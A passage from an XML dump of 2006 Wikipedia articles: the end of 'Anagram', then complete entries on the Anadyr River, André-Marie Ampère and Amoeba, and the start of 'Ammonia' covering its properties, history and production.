:'''C'''ongress'''V''' ga'''LL'''os spe '''L'''æt'''I'''t'''I'''aq'''V'''e refe'''CI'''t.&quot;

This roughly translates to, &quot;On the conjunction of the eagle and the heart of the lion, the new [[Dauphin]] brings hope and happiness to the French.&quot; The highlighted Roman numerals sum to 1638.{{ref label|1728|1|^}}

==Pseudonyms==
The [[pseudonym]]s adopted by [[author]]s are often transposed forms, more or less exact, of their names; thus &quot;Calvinus&quot; becomes &quot;Alcuinus&quot; ([[V]] = [[U]]); &quot;[[Francois Rabelais]]&quot; = &quot;Alcofribas Nasier&quot;; &quot;[[Arrigo Boito]]&quot; = &quot;Tobia Gorrio&quot;; &quot;[[Edward Gorey]]&quot; = &quot;Ogdred Weary&quot;; &quot;[[Vladimir Nabokov]]&quot; = &quot;Vivian Darkbloom&quot;, = &quot;Vivian Bloodmark&quot; or = &quot;Dorian Vivalcomb&quot;; &quot;[[Bryan Waller Proctor]]&quot; = &quot;Barry Cornwall, poet&quot;; &quot;Henry Rogers&quot; = &quot;R. E. H. Greyson&quot;; &quot;(Sanche) de Gramont&quot; = &quot;[[Ted Morgan]]&quot;, and so on. It is to be noted that several of these are &quot;imperfect anagrams&quot;, letters having been left out in some cases for the sake of easy pronunciation.

&quot;Telliamed&quot;, a simple reversal, is the title of a well known work by &quot;De Maillet&quot;. One of the most remarkable pseudonyms of this class is the name &quot;[[Voltaire]]&quot;, which the celebrated [[philosopher]] assumed instead of his family name, François Marie Arouet, and which is now generally allowed to be an anagram of &quot;Arouet, l[e] j[eune]&quot;, that is, &quot;Arouet the younger&quot;.  Anagramming may also be used to good effect in [[farce]] or [[parody]]. A writer might take an unpleasant person he knows, base a character in a book on him, and then transpose the letters in the source's name. For example, controversial Israeli Prime Minister [[Ariel Sharon]] might be satirized as, say, local greengrocer &quot;Leon A. Shirra&quot;&amp;mdash;a rather inventive way to avoid a [[libel]] lawsuit.

Anagrams have also shown up in [[rock music]]. [[The Doors]]' lead singer [[Jim Morrison]] invoked his name as &quot;Mr. Mojo Risin'&quot; on the song &quot;[[L.A. Woman]]&quot;, the band Sad Café released an album called ''Facades'', [[Blur]] singer [[Damon Albarn]] uses the name Dan Abnormal for the title of a song on [[The Great Escape]] and all of the band adopt anagramed pseudonyms for the [[music video]] of [[M.O.R.]], the [[New Wave music|new wave]] band [[Missing Persons]] recorded an album called ''Spring Session M'', and Guns N' Roses lead singer [[Axl Rose]]'s stage name is an anagram of &quot;[[oral sex]]&quot;.

==Astronomy==
Perhaps the only practical use to which anagrams have been turned is to be found in the transpositions in which some of the [[astronomer]]s of the [[17th century]] embodied their discoveries with the design apparently of avoiding the risk that, while they were engaged in further verification, the credit of what they had found out might be claimed by others.  Thus [[Galileo Galilei|Galileo]] announced his discovery that [[Venus (planet)|Venus]] had [[Moon phase|phase]]s like the [[Moon]] in the form &quot;Haec immatura a me iam frustra leguntur&amp;mdash;oy&quot; (Latin: ''This immature (feminine) one has already been read in vain by me&amp;mdash;oy'' (with a subject-verb number agreement error)), that is, &quot;Cynthiae figuras aemulatur Mater Amorum&quot; (Latin: ''The Mother of Loves [= Venus] imitates the figures of [[Cynthia]] [= the moon]'').  Similarly, when [[Robert Hooke]] discovered [[Hooke's law]] in 1660, he first published it in anagram form.  One might think of this as a primitive example of a [[zero-knowledge proof]].

There are also a few &quot;natural&quot; anagrams, English words unconsciously created by switching letters around. The French ''chaise longue'' (&quot;long chair&quot;) became the American &quot;[[chaise lounge]]&quot; by metathesis (transposition of letters and/or sounds). This is an example of [[folk etymology]]. It has also been speculated that the English &quot;curd&quot; comes from the Latin ''crudus'' (&quot;raw&quot;).

==Methods==
Before the computer age, anagrams were constructed using a pen and paper or lettered tiles, by playing with letter combinations and experimenting with variations.  (Some individuals with prodigious talent have also been known to ‘see’ anagrams in words, unaided by tools.)

Computers have enabled a new method of creating anagrams, the anagram server. An anagram server utilizes an exhaustive database of words. The anagrammist (one who creates anagrams) enters a word or phrase into the server’s search engine, and the server produces a list containing every possible combination of words or phrases from the input word or phrase. Anagram servers use advanced features to control the search results, by excluding or including certain words, limiting the number or length of words in each anagram, or limiting the number of results.

When sharing their newly discovered anagrams with other enthusiasts, some anagrammists indicate the method they used.  Anagrams constructed without aid of a computer are noted as having been done ‘manually’ or ‘by hand’; those made by utilizing a computer may be noted ‘by machine’ or ‘by computer’, or may indicate the name of the computer program (using ‘Anagram Genius’).

Anagram servers are available on the Internet.  Some examples are
*[http://www.wordsmith.org/anagram/index.html Internet Anagram Server]
*[http://www.anagramgenius.com/server.html Anagram Genius]
*[http://www.anagramlogic.com/ Anagram Logic Anagram Finder]
*[http://www.arrak.fi/ag/index_en.html Arrak Anagrams]

There is also software to download and run locally, such as
*[http://www.fourmilab.ch/anagram/ Fourmilab Anagram Finder]
*[http://www.anagrammy.com/resources/anagram_artist.html Anagram Artist]

==Crosswords==
[[Cryptic crossword]] puzzles frequently use anagrammatic clues, usually indicating that they are anagrams by the inclusion of a word like &quot;confused&quot; or &quot;in disarray&quot;. An example would be '''Businessman burst into tears (9 letters)'''; the solution, '''Stationer''' is an anagram of '''into tears''', the letters of which have '''burst''' out of their original arrangement to form the name of a type of '''businessman'''.

What is the most anagrammable name on record? There must be few names as deliciously workable as that of &quot;[[Augustus de Morgan]]&quot; who tells that a friend had constructed about 800 on his name (specimens of which are given in his ''Budget of Paradoxes'', p. 82)!

==See also==
*[[List of anagrams]]
*[[Anagram Indicators]]
*[[anagramatic poem]]
*the [[board game]] [[Anagrams]]
*[[ambigram]]
*[[blanagram]]
*''[[The Da Vinci Code]]'', a book by [[Dan Brown]]
*[[palindrome]]
*[[pangram]]
*[[constrained writing]]
*[[letter bank]]
*[[Dave Barry]]

===Literary===
*&quot;To be or not to be: that is the question, whether 'tis nobler in the mind to suffer the slings and arrows of outrageous fortune.&quot; = &quot;In one of the [[William Shakespeare|Bard]]'s best-thought-of [[tragedy|tragedies]], our insistent hero, [[Hamlet]], queries on two fronts about how life turns rotten.&quot; (discovered by Cory Calhoun)
*Ivanhoe by Sir Walter Scott = A novel by a Scottish writer
*[[Rocket Boys]] = [[October Sky]]
*[[The Restaurant at the End of the Universe]] = Of [[Arthur Dent]], never the enthusiast, 'e eats ([http://www.thedavincigame.com])
*[[Tom Marvolo Riddle]] ([[Lord Voldemort]]'s real name) = I am Lord Voldemort (In the novel and the film of [[Harry Potter]] by [[J.K. Rowling]])

==References==
#{{note label|1728|1|^}}{{1728}}
#{{note|Maddox1}} [http://maddox.xmission.com Anagram from Maddox's webpage].

==External links==
*[http://www.wineverygame.com/ Anagram oriented towards Scrabble]
*[http://users.aol.com/s6sj7gt/ana.htm Anagrams, Long and Short]
*[http://www.anagramgenius.com/ Anagram Genius software plus archive of thousands of example anagrams]
*[http://users.aol.com/s6sj7gt/anabible.htm The Anagrammed Bible : Proverbs, Ecclesiastes, Song of Solomon], ISBN 0970214804
*[http://www.wordsmith.org/anagram/index.html Internet Anagram Server (= I, rearrangement servant)]
*[http://www.anagrammy.com The Anagrammy Awards]
*[http://www.fourmilab.ch/anagram/  Anagram Finder (fourmilab.ch)]
*[http://www.anagramlogic.com/ Anagram Logic Anagram Finder]
*[http://www.anagramsite.com/ Anagram Site]
*[http://cl4.org/comp/anapad/ AnaPad is a special text editor for anagrammatists: people who make anagrams. It is particularly useful for anagramming long texts, such as poems]


[[Category:Puzzles]]
[[Category:Surrealist games]]
[[Category:Word games]]
[[Category:Word play]]

[[cs:Anagram]]
[[da:Anagram]]
[[de:Anagramm]]
[[eo:Anagramo]]
[[es:Anagrama]]
[[fr:Anagramme]]
[[he:אנגרמה]]
[[hu:Anagramma]]
[[ia:Anagramma]]
[[io:Anagramo]]
[[it:Anagramma]]
[[ja:アナグラム]]
[[lb:Anagramm]]
[[nl:Anagram]]
[[no:Anagram]]
[[pl:Anagram]]
[[ru:Анаграмма]]
[[sl:Anagram]]
[[sv:Anagram]]</text>
    </revision>
  </page>
  <page>
    <title>Anadyr River</title>
    <id>1362</id>
    <revision>
      <id>33469021</id>
      <timestamp>2006-01-01T10:48:26Z</timestamp>
      <contributor>
        <username>Tbonefin</username>
        <id>222675</id>
      </contributor>
      <minor />
      <comment>+fi</comment>
      <text xml:space="preserve">'''Anadyr''' (''Ана́дырь'') is a [[river]] in the extreme northeast of [[Siberia]], [[Russia]].

The river, taking its rise in the [[Stanovoi Mountains]] as the Ivashki or Ivachno, about 67°N latitude and 173°E longitude, flows through the [[Chukotka]], at first southwest and then east, and enters the Gulf of Anadyr after a course of about 500 miles. The country through which it passes is thinly populated, and is dominated by [[tundra]], which is rich with a variety of plant life. Much of the region is folded in rugged mountains, and is a beautiful landscape. For nine months of the year the ground is covered with snow, and the frozen rivers become navigable roads. [[Reindeer]], upon which the inhabitants subsist, were once found in considerable numbers, but the domestic reindeer population has collapsed dramatically since the reorganization and privatization of state-run collective farms beginning in [[1992]]. As herds of domestic reindeer have declined, herds of wild [[caribou]] have increased.

==See also==
* [[Anadyr, Russia|Anadyr]] (town)
*[[Operation Anadyr]]

==References==
* {{1911}}

[[Category:Rivers of Russia]]

[[de:Anadyr (Fluss)]]
[[pl:Anadyr (rzeka)]]
[[uk:Анадир (ріка)]]
[[fi:Anadyr (joki)]]</text>
    </revision>
  </page>
  <page>
    <title>André-Marie Ampère</title>
    <id>1363</id>
    <revision>
      <id>41832394</id>
      <timestamp>2006-03-02T01:03:02Z</timestamp>
      <contributor>
        <ip>158.158.240.230</ip>
      </contributor>
      <comment>deleted a random &quot;hello&quot; at the end of a paragraph</comment>
      <text xml:space="preserve">{{Infobox Celebrity
| name        =André-Marie Ampère
| image       = André Marie Ampère.jpg
| caption     = 
| birth_date  = [[January 20]], [[1775]] 
| birth_place = 
| death_date  =[[June 10]], [[1836]] 
| death_place = [[Marseille]],[[France]]
| occupation  = [[Physicist]]
| salary      = 
| networth    = 
| website     =
| footnotes   = 
}}

'''André-Marie Ampère''' ([[January 20]] [[1775]] &amp;ndash; [[June 10]] [[1836]]), was a French [[physicist]] who is generally credited as one of the main discoverers of [[electromagnetism]]. The [[ampere]] unit of measurement of [[Current (electricity)|electric current]] is named after him.

==Early days==
Ampère was born in [[Lyon]], near his father's country house in [[Poleymieux]] and, as a [[child prodigy]], took a passionate delight in the pursuit of knowledge from his very infancy, and is reported to have worked out long arithmetical sums by means of pebbles and biscuit crumbs before he knew the figures. His father began to teach him [[Latin]], but ceased on discovering the boy's greater inclination and aptitude for mathematical studies. The young Ampère, however, soon resumed his Latin lessons, to enable him to master the works of [[Leonhard Euler|Euler]] and [[Daniel Bernoulli|Bernoulli]]. 

In later life he was accustomed to say that he knew as much about mathematics when he was eighteen as ever he knew; but, a [[polymath]], his reading embraced nearly the whole round of knowledge &amp;mdash; history, travels, poetry, philosophy and the natural sciences.  

In [[1796]] he met Julie Carron, and an attachment sprang up between them. In [[1799]] they were married. From about 1796 Ampère gave private lessons at Lyons in [[mathematics]], [[chemistry]] and languages; and in [[1801]] he removed to Bourg, as professor of [[physics]] and [[chemistry]], leaving his ailing wife and infant son ([[Jean Jacques Ampère]]) at Lyon. She died in 1804, and he never recovered from her death. In the same year he was appointed professor of mathematics at the ''[[lycée]]'' of Lyon.

==Contributions to physics and further studies==
[[Jean Baptiste Joseph Delambre]]'s recommendation obtained for him the Lyon appointment, and afterwards ([[1804]]) a subordinate position in the polytechnic school at Paris, where he was appointed professor of mathematics in 1809. Here he continued to pursue his scientific research and his diverse studies with unabated diligence.  He was admitted as a member of the Institute in [[1814]].  

Ampère's fame mainly rests on the service that he rendered to science in establishing the relations between electricity and magnetism, and in developing the science of electromagnetism, or, as he called it, electrodynamics.  On [[September 11]], [[1820]] he heard of [[Hans Christian Ørsted|H. C. Ørsted's]] discovery that a magnetic needle is acted on by a voltaic current.  Only a week later, on [[September 18]], he presented a paper to the Academy containing a far more complete exposition of that and kindred phenomena.

==Legacy and final days==
The whole field thus opened up he explored with characteristic industry and care, and developed a mathematical theory which not only explained the electromagnetic phenomena already observed but also predicted many new ones.  

He died at [[Marseille]] and is buried in the [[Cimetière de Montmartre]], Paris. The great amiability and childlike simplicity of Ampère's character are well brought out in his ''Journal et correspondance'' (Paris, [[1872]]). Forty-five years later, mathematicians recognized him.

==References==
*{{1911}}
==External links==
* [http://www.ampere.cnrs.fr www.ampere.cnrs.fr - Ampere and the history of electricity], (Correspondence, bibliography, experiments, simulations, etc., edited by CNRS, France)
* {{MacTutor Biography|id=Ampere}}
[[Category:1775 births|Ampere, Andre Marie]]
[[Category:1836 deaths|Ampere, Andre Marie]]
[[Category:Electrostatics|Ampère, André-Marie]]
[[Category:French physicists|Ampère, André-Marie]]
[[Category:Alumni of the École Polytechnique|Ampère, André-Marie]]

[[bn:আঁদ্রে মারি এম্পিয়ার]]
[[ca:André-Marie Ampère]]
[[de:André Marie Ampère]]
[[es:André-Marie Ampère]]
[[eo:André Marie AMPÈRE]]
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[[he:אנדרה מרי אמפר]]
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[[nl:André-Marie Ampère]]
[[ja:アンドレ・マリー・アンペール]]
[[nn:André-Marie Ampère]]
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[[pt:André-Marie Ampère]]
[[ro:André-Marie Ampère]]
[[ru:Ампер, Андре Мари]]
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[[uk:Ампер Анре Марі]]</text>
    </revision>
  </page>
  <page>
    <title>Amoeba</title>
    <id>1364</id>
    <revision>
      <id>42144735</id>
      <timestamp>2006-03-04T02:52:23Z</timestamp>
      <contributor>
        <username>Bk0</username>
        <id>65294</id>
      </contributor>
      <minor />
      <comment>/* ''Amoeba'' in popular culture */ non-notable</comment>
      <text xml:space="preserve">:''Alternate meanings: [[Amoeboid]], [[Amoebozoa]]''
:''For the operating system, see [[Amoeba distributed operating system]].  For the record store, see [[Amoeba Music]].''
{{Taxobox
| color = khaki
| name = ''Amoeba''
| image = Chaos diffluens.jpg
| image_width = 240px
| image_caption = ''[[Amoeba proteus]]''
| regnum = [[Protist]]a
| phylum = [[Amoebozoa]]
| familia = [[Amoebidae]]
| genus = '''''Amoeba'''''
| genus_authority = Bery de St. Vincent 1822
}}
'''''Amoeba''''' (also spelled '''''ameba''''') is a genus of [[protozoa]] that moves by means of temporary projections called [[pseudopods]], and is well-known as a representative unicellular organism.  The word amoeba is variously used to refer to it and its close relatives, now grouped as the [[Amoebozoa]], or to all protozoa that move using pseudopods, otherwise termed [[amoeboid]]s.  See those pages for further information.

''Amoeba'' itself is found in freshwater, typically on decaying vegetation from streams, but is not especially common in nature.  However, because of the ease with which they may be obtained and kept in the lab, they are common objects of study, both as representative protozoa and to demonstrate cell structure and function.  The cells have several lobose pseudopods, with one large tubular pseudopod at the anterior and several secondary ones branching to the sides. The most famous species, ''A. proteus'', is 700-800 &amp;mu;m in length, but many others are much smaller.  Each has a single [[cell nucleus|nucleus]], and a simple contractile [[vacuole]] which maintains its [[osmosis|osmotic]] pressure, as its most recognizable features.

Early naturalists referred to ''Amoeba'' as the [[Proteus]] [[animalcule]], after a Greek god who could change his shape.  The name &quot;amibe&quot; was given to it by Bery St. Vincent, from the Greek ''amoibe'', meaning change.

A good method of collecting amoeba is to lower a jar upside down until it is just above the sediment surface. Then slowly let air escape so the top layer will be sucked into the jar. Try not to allow deeper sediment get sucked in. You can slowly move the jar when tilting it so you collect from a larger area. If no amoeba are found, one can try introducing some rice grains into the jar and waiting for them to start to rot. The bacteria eating the rice will be eaten by the amoeba, thus increasing the population and making them easier to find. 

==''Amoeba'' in popular culture==

* The North American writer [[Tom Robbins]] states, in the [[preface]] to his book [[Even Cowgirls Get the Blues]], that amoebas are [[cool]] because they [[reproduce]] by [[binary fission]], so the first amoeba is still alive to this day.
* In the [[1984]] computer game [[Boulder Dash]], Rockford, the main character, is chased all the time by a constantly-growing amoeba.
* In certain places of [[Brazil]], the term amoeba (in its [[Portuguese language|Portuguese]] form: ''ameba'') is used as a [[derogatory]] [[slang]] for &quot;slow, [[obtuse]] person&quot;.

==External links==
* [http://wikibooks.org/wiki/Biology_Cell_biology_Introduction_Cell_size Wikibooks: compare size of cells]
* [http://www.factmonster.com/ce6/sci/A0803647.html Amoeba info]
[[Category:Protista]][[Category:Amoeboids]][[Category:Amoebozoa]]

[[bg:Амеба]]
[[da:Amøbe]]
[[de:Amöbe]]
[[es:Ameba]]
[[fr:Amibe]]
[[it:Ameba]]
[[he:אמבה]]
[[lt:Amebos]]
[[nl:Amoebe]]
[[ja:アメーバ]]
[[pl:Ameba]]
[[pt:Ameba]]
[[sr:Амеба]]
[[fi:Ameebat]]
[[sv:Amöbor]]
[[th:อะมีบา]]
[[uk:Амеба]]
[[zh:變形蟲]]</text>
    </revision>
  </page>
  <page>
    <title>Ammonia</title>
    <id>1365</id>
    <revision>
      <id>41786249</id>
      <timestamp>2006-03-01T19:13:10Z</timestamp>
      <contributor>
        <username>Itub</username>
        <id>426390</id>
      </contributor>
      <text xml:space="preserve">&lt;!-- Here is a table of data; skip past it to edit the text. --&gt;
{| align=&quot;right&quot; border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;3&quot; style=&quot;margin: 0 0 0 0.5em; background: #FFFFFF; border-collapse: collapse; border-color: #C0C090;&quot;
! {{chembox header}} | {{PAGENAME}}
|-	 	
| align=&quot;center&quot; colspan=&quot;2&quot; | [[Image:Ammonia_lone_electron_pair.PNG|200px|{{PAGENAME}}]]	
|-
| align=&quot;center&quot; colspan=&quot;2&quot; | [[Image:Ammonia3D.png|200px|{{PAGENAME}} 3D representation]]
|-
! {{chembox header}} | General
|- 
| [[IUPAC nomenclature|Systematic name]]
| Ammonia&lt;br/&gt;Azane (''see text'')
|-
| Trivial names
| Spirit of hartshorn&lt;br/&gt;Nitrosil&lt;br/&gt;Vaporole
|-
| [[Chemical formula|Molecular formula]]
| NH&lt;sub&gt;3&lt;/sub&gt;
|-
| [[Molar mass]]
| 17.03 g/mol
|-
| Appearance
| Colourless gas with &lt;br&gt;strong pungent odor
|-
| [[CAS registry number|CAS number]]
| [7664-41-7]
|-
! {{chembox header}} | Properties
|-
| [[Density]] and [[Phase (matter)|phase]]
| .6813 g/L, gas
|-
| [[Soluble|Solubility]] in [[Water_(molecule)|water]]
| 54 g/100 ml
|-
| [[Melting point]]
| -78.27 °C (195.42 K) 
|-
| [[Boiling point]]
| -33.49 °C (240.74 K)
|-
| [[Base dissociation constant|Basicity]] (p''K''&lt;sub&gt;b&lt;/sub&gt;)
| 4.75
|-
| [[Acid dissociation constant|Acidity]] (p''K''&lt;sub&gt;a&lt;/sub&gt;)
| ''approx.'' 34
|-
! {{chembox header}} | Thermodynamic data
|-
| [[Standard enthalpy change of formation|Std enthalpy of&lt;br/&gt;formation]] Δ&lt;sub&gt;f&lt;/sub&gt;''H''°&lt;sub&gt;gas&lt;/sub&gt;
| -45.92 kJ/mol
|-
| [[Standard molar entropy|Standard molar&lt;br/&gt;entropy]] ''S''°&lt;sub&gt;gas&lt;/sub&gt;
| 192.77 J·K&lt;sup&gt;&amp;minus;1&lt;/sup&gt;·mol&lt;sup&gt;&amp;minus;1&lt;/sup&gt;
|-
! {{chembox header}} | Hazards &lt;!-- INDEX n° 007-001-00-5, 007-001-01-2 --&gt;
|-
| [[Directive 67/548/EEC|EU classification]]
| [[#Safety precautions|''Conc. dependent.&lt;br/&gt;See text'']]
|-
| [[List of R-phrases|R-phrases]]
| [[#Safety precautions|''Conc. dependent&lt;br/&gt;See text'']]
|-
| [[List of S-phrases|S-phrases]]
| {{S1/2}}, {{S16}}, {{S36/37/39}},&lt;br/&gt;{{S45}}, {{S61}}
|-
| [[NFPA 704]]
| [[Image:nfpa_h3.png]][[Image:nfpa_f1.png]][[Image:nfpa_r0.png]]
|-
! {{chembox header}} | [[{{PAGENAME}} (data page)|Supplementary data page]]
|-
| [[{{PAGENAME}} (data page)#Structure and properties|Structure and&lt;br/&gt;properties]] 
| [[Refractive index|''n'']], [[Dielectric constant|''ε&lt;sub&gt;r&lt;/sub&gt;'']], etc. 
|-
| [[{{PAGENAME}} (data page)#Thermodynamic properties|Thermodynamic&lt;br/&gt;data]] 
| Phase behaviour&lt;br&gt;Solid, liquid, gas
|-
| [[{{PAGENAME}} (data page)#Spectral data|Spectral data]]
| [[UV/VIS spectroscopy|UV]], [[Infrared spectroscopy|IR]], [[NMR spectroscopy|NMR]], [[Mass spectrometry|MS]]
|-
| [[{{PAGENAME}} (data page)#Regulatory data|Regulatory data]]
| [[Flash point]],&lt;br/&gt;[[RTECS|RTECS number]], etc.
|-
! {{chembox header}} | Related compounds
|-
| Related [[Amine]]s 
| ''See'' [[Amine]] 
|-
| Related [[Hydride]]s
| [[Phosphine]]&lt;br/&gt;[[Arsine]]
|-
| Related compounds 
| [[Hydrazine]]&lt;br/&gt;[[Hydrazoic acid]]&lt;br/&gt;[[Hydroxylamine]]&lt;br/&gt;[[Chloramine]]
|-
| {{chembox header}} | &lt;small&gt;Except where noted otherwise, data are given for&lt;br&gt; materials in their [[standard state|standard state (at 25 °C, 100 kPa)]]&lt;br/&gt;[[wikipedia:Chemical infobox|Infobox disclaimer and references]]&lt;/small&gt;
|-
|}
'''Ammonia''' is a [[chemical compound|compound]] of [[nitrogen]] and [[hydrogen]] with the [[chemical formula|formula]] NH&lt;sub&gt;3&lt;/sub&gt;. At [[standard temperature and pressure]] ammonia is a [[gas]]. It is [[toxic]] and [[corrosive]] to some materials, and has a characteristic pungent [[odor]]. 

An ammonia molecule has a [[Trigonal pyramid (chemistry)|trigonal pyramid]] shape, as would be expected from [[VSEPR theory]]. This shape gives the molecule an overall [[dipole]] moment and makes it [[Polar molecule|polar]] so that ammonia very readily dissolves in [[Water (molecule)|water]]. The nitrogen atom in the molecule has a [[Lone pair|lone electron pair]], and ammonia acts as a [[Base (chemistry)|base]]. That means that, when in aqueous solution, it can take a [[proton]] from water; this produces a [[hydroxide]] [[anion]] and an [[ammonium]] [[cation]] (NH&lt;sub&gt;4&lt;/sub&gt;&lt;sup&gt;+&lt;/sup&gt;), which has the shape of a regular tetrahedron. The degree to which ammonia forms the ammonium ion depends on the [[pH]] of the [[solution]]—at &quot;physiological&quot; pH (~7), about 99% of the ammonia molecules are protonated.

The main uses of ammonia are in the production of [[fertilizer]]s, [[explosive]]s and [[polymer]]s. It is also an ingredient in certain household glass cleaners. Ammonia is found in small quantities in the atmosphere, being produced from the [[putrefaction]] of nitrogenous animal and vegetable matter. Ammonia and ammonium salts are also found in small quantities in rainwater, while [[ammonium chloride]] (sal-ammoniac) and ammonium sulfate are found in volcanic districts; crystals of [[ammonium bicarbonate]] have been found in [[Patagonia]]n [[guano]]. Ammonium salts also are found distributed through all fertile soil and in seawater. Substances containing ammonia or that are similar to it are called ammoniacal.

== History ==

Salts of ammonia have been known from very early times; thus the term ''Hammoniacus sal'' appears in the writings of [[Pliny the Elder|Pliny]], although it is not known whether the term is identical with the more modern ''sal-ammoniac''. 

In the form of sal-ammoniac, ammonia was known to the [[alchemy|alchemists]] as early as the [[13th century]], being mentioned by [[Albertus Magnus]]. It was also used by [[dyer]]s in the [[Middle Ages]] in the form of fermented [[urine]] to alter the colour of vegetable dyes. In the [[15th century]], [[Basilius Valentinus]] showed that ammonia could be obtained by the action of alkalis on sal-ammoniac. At a later period, when sal-ammoniac was obtained by distilling the hoofs and horns of oxen and neutralizing the resulting carbonate with [[hydrochloric acid]], the name '''Spirit of hartshorn''' was applied to ammonia. 

Gaseous ammonia was first isolated by [[Joseph Priestley]] in [[1774]] and was termed by him ''alkaline air''. In [[1777]] [[Karl Wilhelm Scheele]] showed that it contained [[nitrogen]], and [[Claude Louis Berthollet]], in about [[1785]], ascertained its composition.

The [[Haber process]] to produce ammonia from the nitrogen contained in the air was developed by [[Fritz Haber]] and [[Carl Bosch]] in [[1909]] and patented in [[1910]]. It was first used on an industrial scale by the Germans during [[World War I]]. The ammonia was used to produce explosives to sustain their war effort.

== Synthesis and production ==
Because of its many uses, ammonia is one of the most highly-produced inorganic chemicals. 
Today NH&lt;sub&gt;3&lt;/sub&gt; is manufactured by the [[Haber process]]. In this process, N&lt;sub&gt;2&lt;/sub&gt; and H&lt;sub&gt;2&lt;/sub&gt; combine in the presence of an [[iron]] [[catalyst]] at a pressure of 200&amp;nbsp;bar (20&amp;nbsp;MPa, 3000&amp;nbsp;lbf/in²) and a temperature of 500 °C. A molybdenum [[promoter]] may also be used.

::N&lt;sub&gt;2&lt;/sub&gt; + 3H&lt;sub&gt;2&lt;/sub&gt; → 2 NH&lt;sub&gt;3&lt;/sub&gt;

Compared to older methods, the feedstocks of the Haber process are relatively inexpensive&amp;mdash;nitrogen makes up 78% of the [[Earth's atmosphere|atmosphere]], while hydrogen is produced in situ from [[natural gas|CH&lt;sub&gt;4&lt;/sub&gt;]].  Thus, the industrial process entails heating air and natural gas, a by-product is CO&lt;sub&gt;2&lt;/sub&gt;.

Before the start of WWI most ammonia was obtained by the dry [[distillation]] of nitrogenous vegetable and animal products; by the reduction of [[nitrous acid]] and [[nitrite]]s with [[hydrogen]]; and also by the decomposition of ammonium salts by alkaline hydroxides or by [[calcium oxide|quicklime]], the salt most generally used being the chloride ([[ammonium chloride|sal-ammoniac]]) thus

::2NH&lt;sub&gt;4&lt;/sub&gt;Cl + 2CaO → CaCl&lt;sub&gt;2&lt;/sub&gt; + Ca(OH)&lt;sub&gt;2&lt;/sub&gt; + 2NH&lt;sub&gt;3&lt;/sub&gt;

It can also been obtained by the hydrolysis of many metal nitrides, for example,

::Mg&lt;sub&gt;3&lt;/sub&gt;N&lt;sub&gt;2&lt;/sub&gt; + 6H&lt;sub&gt;2&lt;/sub&gt;O → 3Mg(OH)&lt;sub&gt;2&lt;/sub&gt; + 2NH&lt;sub&gt;3&lt;/sub&gt;

==Biosynthesis==
Ammonia is produced from atmospheric N&lt;sub&gt;2&lt;/sub&gt; by enzymes called [[nitrogenase]]s.  The overall process is called [[nitrogen fixation]].   Although it is unlikely that biomimetic methods will be developed that are competitive with the [[Haber process]], intense effort has been directed toward understanding the mechanism of biological nitrogen fixation. The scientific interest in this problem is motivated by the unusual structure of the active site of the enzyme, which consists of an Fe&lt;sub&gt;7&lt;/sub&gt;MoS&lt;sub&gt;9&lt;/sub&gt; ensemble.

Ammonia is also a metabolic product of [[amino acid]] [[deamination]]. In humans, it is quickly converted to [[urea]], which is much less toxic. This urea is a major component of the dry weight of [[urine]].
== Properties ==

Ammonia is a colourless [[gas]] with a characteristic pungent smell; it is [[lighter than air]], its density being 0.589 times that of [[Earth's atmosphere|air]]. It is easily liquefied and the [[liquid]] boils at -33.7 °C, and solidifies at -75 °C to a mass of white crystals. [[Liquid]] ammonia possesses strong [[ion]]izing powers ([[Dielectric constant|ε]] = 22), and [[solution]]s of [[salt]]s in liquid ammonia have been much studied. Liquid ammonia has a very high [[standard enthalpy change of vaporization]] (23.35&amp;nbsp;kJ/mol, ''c.f.'' [[water (molecule)|water]] 40.65&amp;nbsp;kJ/mol, [[methane]] 8.19&amp;nbsp;kJ/mol, [[phosphine]] 14.6&amp;nbsp;kJ/mol) and can therefore be used in laboratories in non-insulated vessels at room temperature, even though it is well above its boiling point. 

It is [[miscible]] with water. All the ammonia contained in an aqueous solution of the gas may be expelled by boiling. The [[water|aqueous]] solution of ammonia is [[Base (chemistry)|basic]]. The maximum concentration of ammonia in water (a [[saturation (chemistry)|saturated]] solution) has a [[density]] of 0.880 g cm&lt;sup&gt;-3&lt;/sup&gt; and is often known as '.880 Ammonia'.

It does not sustain [[combustion]], and it does not burn readily unless mixed with [[oxygen]], when it burns with a pale yellowish-green flame.

At high temperature and in the presence of a suitable catalyst, ammonia is decomposed into its constituent elements.  [[Chlorine]] catches fire when passed into ammonia, forming [[nitrogen]] and [[hydrochloric acid]]; unless the ammonia is present in excess, the highly explosive [[nitrogen trichloride]] (NCl&lt;sub&gt;3&lt;/sub&gt;) is also formed. 

The ammonia molecule readily undergoes [[nitrogen inversion]] at normal pressures, that is to say that the nitrogen atom passes through the plane of the three hydrogen atoms as if it were an umbrella turning inside out in a strong wind. The energy barrier to this inversion is 24.7&amp;nbsp;kJ/mol in ammonia, and the [[resonance frequency]] is 23.79&amp;nbsp;GHz, corresponding to [[microwave]] radiation of a [[wavelength]] of 1.260&amp;nbsp;cm. The absorption at this frequency was the first [[Microwave spectroscopy|microwave spectrum]] to be observed (C.&amp;nbsp;E.&amp;nbsp;Cleeton&amp;nbsp;&amp; N.&amp;nbsp;H.&amp;nbsp;Williams, [[1934]]).

=== Formation of salts ===

One of the most characteristic properties of ammonia is its power of combining directly with [[acid]]s to form [[salt]]s; thus with [[hydrochloric acid]] it forms [[ammonium chloride]] (sal-ammoniac); with [[nitric acid]], [[ammonium nitrate]], etc. However perfectly dry ammonia will not combine with perfectly dry [[hydrogen chloride]], moisture being necessary to bring about the reaction.{{ref|NH4Cl}}
::NH&lt;sub&gt;3&lt;/sub&gt;  +  [[Hydrochloric acid|HCl]]  →  [[Ammonium chloride|NH&lt;sub&gt;4&lt;/sub&gt;Cl]]

The salts produced by the action of ammonia on acids are known as the [[:Category:Ammonium compounds|ammonium salts]] and all contain the [[ammonium]] [[ion]] (NH&lt;sub&gt;4&lt;/sub&gt;&lt;sup&gt;+&lt;/sup&gt;).

=== Acidity ===

Although ammonia is well-known as a base, it can also act as an extremely weak [[acid]]. It is a protic substance, and is capable of dissociation into the '''amide''' (NH&lt;sub&gt;2&lt;/sub&gt;&lt;sup&gt;&amp;minus;&lt;/sup&gt;) ion, for example  when solid lithium nitride is added to liquid ammonia, forming a lithium amide solution:

Li&lt;sub&gt;3&lt;/sub&gt;N(s)+ 2NH&lt;sub&gt;3&lt;/sub&gt;(l) &amp;rarr; 3Li&lt;sup&gt;+&lt;/sup&gt;(am) + 3NH&lt;sub&gt;2&lt;/sub&gt;&lt;sup&gt;&amp;minus;&lt;/sup&gt;(am).

